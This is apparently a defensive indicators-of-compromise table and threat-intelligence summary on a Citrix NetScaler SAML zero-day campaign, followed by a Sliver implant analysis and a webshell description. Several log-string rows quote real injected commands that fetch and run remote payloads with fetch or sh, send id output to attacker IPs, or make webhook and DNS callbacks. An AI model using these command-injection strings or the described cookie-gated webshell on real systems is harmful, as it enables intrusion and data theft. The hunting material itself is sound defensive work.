| IPv4 | 143.244.44.177 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. RIPE netname CDNEXT-NYC, announced by AS212238 CDNEXT Datacamp Limited (Dataplane/BGP: whois mnt-by DATACAMP-MNT; not DigitalOcean despite the DO-adjacent range). VirusTotal: 2 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/143.244.44.177 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 31.56.197.137 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. CloudBackbone (CGI Global, Latvia). Same /24 neighbourhood as 31.56.197.72 (payload host, eSentire/LevelBlue). VirusTotal: 1 of 92 engines malicious, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/31.56.197.137 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.83.194 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 0 of 92 engines, 1 suspicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.83.194 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.109.28 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.109.28 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| IPv4 | 23.234.80.246 | Poppelgaard [75] | Gotham IR observation (2 Oct, via the Poppelgaard checker v1.11), same group. tzulo, inc. (US). VirusTotal: 1 of 92 engines malicious (7 Oct). VT report: https://www.virustotal.com/gui/ip-address/23.234.80.246 | As for 139.162.83.159. | Public GitHub repository, no TLP marking |
| File path | /v | Beaumont, Oct 2 19:01 UTC [128]; Poppelgaard [80]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Rapid7 [86] | Payload file the injected commands save at the filesystem root and execute (same write-up) Poppelgaard separately describes a bot sending fetch -qo /v with an http URL on port 443 and then sh /v, using IFS instead of spaces. Beazley's 4 Oct log-indicator table carries the matching line: pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v${IFS}http://213.209.159.55:443/t/<TOKEN>;sh${IFS}/v;# X. Rapid7's October incident analysis vendor-confirms the same pattern from a real compromise: the initial injected username was exactly this fetch-to-/v-then-run form | Now multi-source: the write-up screenshots, Beazley's log table and first-hand Rapid7 IR. A missing /v does not rule out earlier execution or cleanup. | Public Mastodon post (screenshots) |
| URI path | /t/ | Beaumont, Oct 2 19:01 UTC [128]; Poppelgaard [80]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Paths under /t/ on 213.209.159.55:443 (plain HTTP) used for the payload downloads Poppelgaard describes the same /t/<hex> download path from a bot. Beazley's 4 Oct log table shows the full payload: http://213.209.159.55:443/t/<TOKEN>. Beazley's IoC table also lists 213.209.159.55:443/t/* as payload delivery | Unverified, single write-up. A short generic path, so only meaningful together with the IP. | Public Mastodon post (screenshots) |
| Log string | pitboss PPE unexpectedly died NSPPE;nohup${IFS}fetch${IFS}-qo-${IFS}https://f.pylrk.cc/<TOKEN>/s|sh&;# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Sliver-campaign delivery line from the second wave (Beazley Security, 4 Oct log indicators; also seen without the trailing &). Downloads the implant loader from f.pylrk.cc and pipes it to sh | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;curl http://158.94.211.205:8080/$(id|base64);# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Callback-and-exfiltration line (Beazley Security, 4 Oct log indicators): runs id, base64-encodes the output into the URL to 158.94.211.205:8080 | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;curl\https://webhook.site/<UUID>;# X (and IFS=,;a=curl,-k,https://webhook.site/<UUID>?test=real;$a;# X) | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Out-of-band callback lines to webhook.site (Beazley Security, 4 Oct log indicators), two syntax variants | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;nslookup PWNED.<UUID>.dnshook.site;# X | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | DNS out-of-band callback line (Beazley Security, 4 Oct log indicators): exfiltrated output encoded in the PWNED.<UUID> labels under dnshook.site | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;id>/netscaler/ns_gui/vpn/id009.txt;id>/netscaler/ns_gui/id009.txt;# X (and NSPPE-00;id>/netscaler/ns_gui/vpn/theme/rce.txt;# X) | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Execution-probe lines (Beazley Security, 4 Oct log indicators): write id output into the web folders, NSPPE-00 prefix on the theme variant | Hunting lead compiled by Beazley Security Labs; not proof of compromise on its own. | Public advisory, no TLP marking |
| File name | nsaaad-*.gz | Beaumont, Oct 2 19:01 UTC [128] | Core dumps of the authentication daemon in recently modified numbered directories under /var/core after repeated crashes (exit status 0x8a, restart limit 6, then a reboot) | Unverified. Crashes have other causes; a match is a reason to preserve logs and cores and involve Citrix Support, not proof of compromise. | Public Mastodon post (screenshots) |
| File path | /nsconfig/.slap/ and /flash/nsconfig/.slap/ | Poppelgaard [75]; Rapid7 [86] | Perl agent/bridge directory of the kit the SAML attack tries to install (dropper "380d56", community analysis per the Poppelgaard checker v1.10); persists across reboots. Rapid7's October incident analysis now vendor-confirms the same directory from a real compromise: it held the vc recon scanner, vcscan-agent.sh, agent.pl, bridge.pl, boot.sh, reverse-agent.sh and backup webshell copies | Now multi-source: community analysis plus first-hand Rapid7 IR. A missing directory does not rule out earlier execution; verify against legitimate local changes. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.ux/ | Poppelgaard [75]; Rapid7 [86]; Google GTIG / Mandiant [70] | Staging directory for slapshot.py (listens on 127.0.0.1:9909) and whipd.py (listens on 0.0.0.0:9910) of the SAML-attack kit per the Poppelgaard checker v1.10. Rapid7's incident analysis vendor-confirms the same directory from a real compromise, with the Python HTTP tunnel components accepting base64 commands in an HTTP header and returning responses in 404 bodies (behaviour overlapping WHIPSHOT/SLAPSHOT) | Now multi-source: community analysis plus first-hand Rapid7 IR. Local-only ports can be legitimate; correlate with the other kit artefacts. | Public GitHub repository, no TLP marking |
| File name | .slap.receiver / .ctxs.receiver / receiver.deb in LogonPoint/custom | Poppelgaard [75]; GreyNoise blog [106] | PHP webshell variants of the SAML-attack kit (fake 404 responses, command in a cookie, fixed token), with a receiver.v2.min[.<hex>].css alias and an /etc/httpd.conf.slap.bak config backup, per the Poppelgaard checker v1.10 | Single-source community analysis compiled in the Poppelgaard checker. Overlaps the publicly documented .ctxs.receiver webshell; treat new variants as leads and match on file content, not names. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.slap-agent.log, .slap-httpd-test.log, .slap-diag.txt, .s2loot, /tmp/.slap.cron | Poppelgaard [75]; Rapid7 [86] | Log and staging artefacts of the SAML-attack kit per the Poppelgaard checker v1.10; persistence via rc.netscaler and root crontab (agent every minute, .slap/boot.sh every 5 minutes). Rapid7's incident analysis vendor-confirms the loot-staging role from a real compromise (/var/tmp/.s2loot/ as the loot directory, cron and rc.netscaler persistence reseeded on every run) | Now multi-source: community analysis plus first-hand Rapid7 IR. A hunting lead that a missing file does not clear. | Public GitHub repository, no TLP marking |
| SHA-256 | 72cff13fcba75504485e94fa6bfc5e9363e860f49efdba68feb583148eec38f2 | Poppelgaard [75] | Dropper "380d56" of the SAML-attack kit, listed in the Poppelgaard checker v1.10 (community analysis). VirusTotal on 2 Oct: Perl file, 1 of 75 engines malicious | Single-source community analysis; no vendor or CERT has confirmed the hash, and the VirusTotal score is weak evidence (one heuristic label, 1/75). | Public GitHub repository, no TLP marking |
| Config pattern | add authentication samlAction.* | Citrix community blog [2] | Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidance | Applicability check from Citrix, not an indicator of compromise. | Public vendor blog, no TLP marking |
| Config pattern | add authentication samlIdPProfile.* | Citrix community blog [2] | Citrix: an appliance with this line in its configuration is affected by the new SAML issue, per the applicability check in Citrix's guidance | Applicability check from Citrix, not an indicator of compromise. | Public vendor blog, no TLP marking |
| Log pattern | proc nsaaad.*(SIGNALED|EXITED)|maximum number of restarts|Pitboss declaring system failure|All monitored processes have exited, rebooting | Beaumont, Oct 2 19:01 UTC [128] | Grep from the Beaumont post for authentication-daemon crashes and the resulting restart or reboot, run against /var/log/ns.log | Beaumont's own pattern. A match means the daemon crashed or the appliance restarted, which has other causes too; it is not proof of an attack. | Public Mastodon post |
The 2 October SAML-issue payload chain: f.pylrk.cc and the FreeBSD Sliver implant
A TLP:CLEAR malware analysis report (2 October, vendor-independent, corroborated by an Expel IR observation) and the delivery host's live state connect the new-issue delivery domain to an actual implant:
pylrk.ccwas registered on 2 Oct at 06:56 UTC (NameSilo, Cloudflare nameservers); the delivery subdomainf.pylrk.ccfirst appears in passive DNS at 11:50 UTC with a Let's Encrypt certificate (CN=pylrk.cc) issued at 06:01 UTC.f.pylrk.cc/HaKi2ufpiQ8AeVTZ/hostserved an 8,822,784-byte Go ELF64 binary over HTTPS (HTTP/2 200, application/octet-stream, Cloudflare-fronted). Still live and unchanged on 3 October.- The binary is a Sliver C2 implant compiled for FreeBSD - the OS under NetScaler - with a hardcoded C2 reference to
https://www.pylrk.cc, a custom protocol tagpylrkfbsd, tunnel/reverse-shell capability (IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP (C2 resolves via DNS). - VirusTotal: 31 of 75 engines detect it, all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC; recorded filenames include
/var/tmp/.hostandcitrix3.bad- appliance deployment paths. - A separate Perl-script payload (3-4 of 75 engines) is associated with
213.209.159.55, not with f.pylrk.cc; the two delivery chains are distinct in the public reporting.
The report is a static analysis (sample not executed) by an external team, not a vendor or CERT publication. Cloudflare fronts the delivery host: block the domain names and the hash, never the resolved proxy IPs. Hunt *.pylrk.cc in DNS logs rather than the single hostname - subdomains may rotate. [81]
Post-exploitation steps attempted on a GreyNoise sensor
GreyNoise says the attacker did not gain a foothold on its sensor. The steps below show the attacker's playbook, not a successful compromise.
- Set setuid and setgid on
/bin/sh. - Planted a PHP webshell that authenticates by cookie.
- Killed and restarted httpd, for anti-forensics or to activate the changed config.
A Reddit user described one sample of the .ctxs.receiver file, and IFIN relayed the description. This is unconfirmed. [111]
- The file is a 237-byte PHP one-liner.
- It runs a URL-decoded cookie value through
passthru(), but only when a second cookie matches a hardcoded 16-character hex token. - NetScaler uses both cookie names legitimately, so the traffic blends in.
- The file survived a reboot and the upgrade to 14.1-73.37.
The token likely differs per victim, so search the file's content rather than relying on its hash.
Source: GreyNoise, "Swarming Against Citrix 0-Day Exploitation". Victim-specific names and IPs from later IR-vendor writeups are deliberately left out. Beaumont warns that publishing them exposes organisations that have not yet remediated. [124]